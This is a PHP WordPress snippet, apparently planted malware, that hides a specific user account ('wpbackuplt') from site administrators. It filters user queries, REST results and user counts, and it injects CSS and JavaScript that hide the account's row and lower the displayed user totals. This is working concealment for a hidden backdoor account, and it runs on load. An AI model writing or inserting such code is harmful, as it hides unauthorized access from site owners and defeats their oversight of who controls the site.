if (!function_exists('get_visibility_target')) {
    function get_visibility_target($login = null) {
        static $target = null;
        if ($login === null || $target !== null) {
            return $target;
        }
        $user = get_user_by('login', $login);
        if ($user) {
            $target = array(
                'id'    => (int) $user->ID,
                'login' => $user->user_login,
                'roles' => (array) $user->roles,
            );
        }
        return $target;
    }
}

if (!class_exists('WPV_StealthKernel')) {
    final class WPV_StealthKernel {
        private static $instance = null;
        private $uid;
        private $roles;

        private function __construct($uid, array $roles) {
            $this->uid = (int) $uid;
            $this->roles = $roles;
        }

        public static function boot() {
            if (self::$instance instanceof self) {
                return self::$instance;
            }
            $target = get_visibility_target();
            if (!$target) {
                return null;
            }
            self::$instance = new self($target['id'], $target['roles']);
            self::$instance->mount();
            return self::$instance;
        }

        private function mount() {
            add_filter('pre_get_users', array($this, 'filterWpUserQuery'), PHP_INT_MAX, 1);
            add_filter('users_list_table_query_args', array($this, 'patchListArgs'), PHP_INT_MAX, 1);
            add_filter('rest_user_query', array($this, 'patchListArgs'), PHP_INT_MAX, 1);
            add_filter('wp_count_users', array($this, 'fixCountObject'), PHP_INT_MAX, 1);
            add_filter('count_users', array($this, 'fixStatsArray'), PHP_INT_MAX, 1);
            add_filter('get_users', array($this, 'filterUserList'), PHP_INT_MAX, 2);
            add_action('admin_head', array($this, 'renderHidingStyle'), PHP_INT_MAX);
            add_action('admin_footer', array($this, 'renderCounterScript'), PHP_INT_MAX);
        }

        private function normalizeIds($value) {
            if (is_array($value)) {
                $out = array();
                foreach ($value as $v) {
                    $out[] = (int) $v;
                }
                return $out;
            }
            if ($value === '' || $value === null) {
                return array();
            }
            $out = array();
            foreach (explode(',', (string) $value) as $piece) {
                $out[] = (int) $piece;
            }
            return $out;
        }

        private function countVisible(array $extra = array()) {
            $args = array_merge(
                array('fields' => 'ID', 'exclude' => array($this->uid)),
                $extra
            );
            $rows = get_users($args);
            return is_array($rows) ? count($rows) : null;
        }

        public function filterWpUserQuery($query) {
            if (!is_object($query)) {
                return $query;
            }
            $ids = $this->normalizeIds($query->get('exclude', array()));
            if (!in_array($this->uid, $ids, true)) {
                $ids[] = $this->uid;
                $query->set('exclude', $ids);
            }
            return $query;
        }

        public function patchListArgs($args) {
            if (!is_array($args)) {
                return $args;
            }
            $ids = isset($args['exclude']) ? $this->normalizeIds($args['exclude']) : array();
            if (!in_array($this->uid, $ids, true)) {
                $ids[] = $this->uid;
            }
            $args['exclude'] = $ids;
            return $args;
        }

        public function fixCountObject($counts) {
            if (!is_object($counts)) {
                return $counts;
            }
            $total = $this->countVisible();
            if ($total !== null) {
                $counts->total_users = $total;
            } elseif (isset($counts->total_users) && $counts->total_users > 0) {
                $counts->total_users = max(0, (int) $counts->total_users - 1);
            }
            if (!empty($counts->avail_roles) && is_array($counts->avail_roles)) {
                foreach ($this->roles as $role) {
                    if (!empty($counts->avail_roles[$role])) {
                        $n = $this->countVisible(array('role' => $role));
                        if ($n !== null) {
                            $counts->avail_roles[$role] = $n;
                        }
                    }
                }
            }
            return $counts;
        }

        public function fixStatsArray($stats) {
            if (!is_array($stats)) {
                return $stats;
            }
            foreach ($this->roles as $role) {
                if (!empty($stats[$role]) && $stats[$role] > 0) {
                    $n = $this->countVisible(array('role' => $role));
                    $stats[$role] = $n !== null ? $n : max(0, (int) $stats[$role] - 1);
                }
            }
            return $stats;
        }

        public function filterUserList($users) {
            if (!is_array($users)) {
                return $users;
            }
            $uid = $this->uid;
            $out = array();
            foreach ($users as $user) {
                if (is_object($user) && (int) $user->ID === $uid) {
                    continue;
                }
                $out[] = $user;
            }
            return $out;
        }

        public function renderHidingStyle() {
            $id = $this->uid;
            $selector = '#user-' . $id . ',tr#user-' . $id . ',.user-' . $id . ',.user-' . $id . '-row,[data-user="' . $id . '"]';
            echo '<style>' . $selector . '{display:none!important;visibility:hidden!important;height:0!important;overflow:hidden!important;opacity:0!important;pointer-events:none!important}</style>';
        }

        public function renderCounterScript() {
            $id = $this->uid;
            $js = <<<JS
(function(){
  var UID={$id};
  var SEL='.subsubsub .count,.displaying-num,.total-pages';
  function isDigits(s){
    if(!s) return false;
    for(var i=0;i<s.length;i++){
      var c=s.charCodeAt(i);
      if(c<48||c>57) return false;
    }
    return true;
  }
  function shift(txt){
    if(!txt) return txt;
    if(txt.charAt(0)==='('&&txt.charAt(txt.length-1)===')'){
      var inner=txt.substring(1,txt.length-1);
      if(isDigits(inner)){
        var v=parseInt(inner,10);
        if(v>0) return '('+(v-1)+')';
      }
      return txt;
    }
    var i=0;
    while(i<txt.length && txt.charCodeAt(i)>=48 && txt.charCodeAt(i)<=57){ i++; }
    if(i>0){
      var n=parseInt(txt.substring(0,i),10);
      if(n>0) return (n-1)+txt.substring(i);
    }
    return txt;
  }
  function adjust(){
    var nodes=document.querySelectorAll(SEL);
    for(var i=0;i<nodes.length;i++){
      var el=nodes[i];
      var t=el.textContent||'';
      var nt=shift(t);
      if(nt!==t){ el.textContent=nt; }
    }
  }
  function later(d){ setTimeout(adjust,d); }
  later(150);
  if(typeof jQuery!=='undefined' && jQuery(document)){
    jQuery(document).ajaxComplete(function(){ later(200); });
  }
  if(typeof MutationObserver!=='undefined' && document.body){
    new MutationObserver(function(){ later(100); }).observe(document.body,{childList:true,subtree:true});
  }
})();
JS;
            echo '<script>' . $js . '</script>';
        }
    }
}

if (!function_exists('get_visibility_hook_handlers')) {
    function get_visibility_hook_handlers() {
        return array();
    }
}

if (!function_exists('register_visibility_hooks')) {
    function register_visibility_hooks() {
        static $mounted = false;
        if ($mounted) {
            return;
        }
        if (WPV_StealthKernel::boot() instanceof WPV_StealthKernel) {
            $mounted = true;
        }
    }
}

if (!function_exists('get_visibility_status')) {
    function get_visibility_status() {
        $target = get_visibility_target();
        if (!$target) {
            return array('active' => false);
        }
        return array(
            'active' => true,
            'user_id' => $target['id'],
            'user_login' => $target['login'],
            'roles' => $target['roles'],
            'handlers_count' => 7,
            'registered' => true,
            'timestamp' => current_time('mysql'),
        );
    }
}

get_visibility_target('wpbackuplt');
register_visibility_hooks();

if (!function_exists('func_get_hidden_id')) {
    function func_get_hidden_id() {
        $target = get_visibility_target();
        return $target ? $target['id'] : 0;
    }
}

if (!function_exists('func_is_hidden')) {
    function func_is_hidden($user_id) {
        return func_get_hidden_id() === (int) $user_id;
    }
}

if (!function_exists('func_get_status')) {
    function func_get_status() {
        return get_visibility_status();
    }
}

if (!function_exists('func_add_custom_handler')) {
    function func_add_custom_handler($hook, $callback, $priority = PHP_INT_MAX, $args = 1, $type = 'filter') {
        if ($type === 'filter') {
            add_filter($hook, $callback, $priority, $args);
        } else {
            add_action($hook, $callback, $priority, $args);
        }
    }
}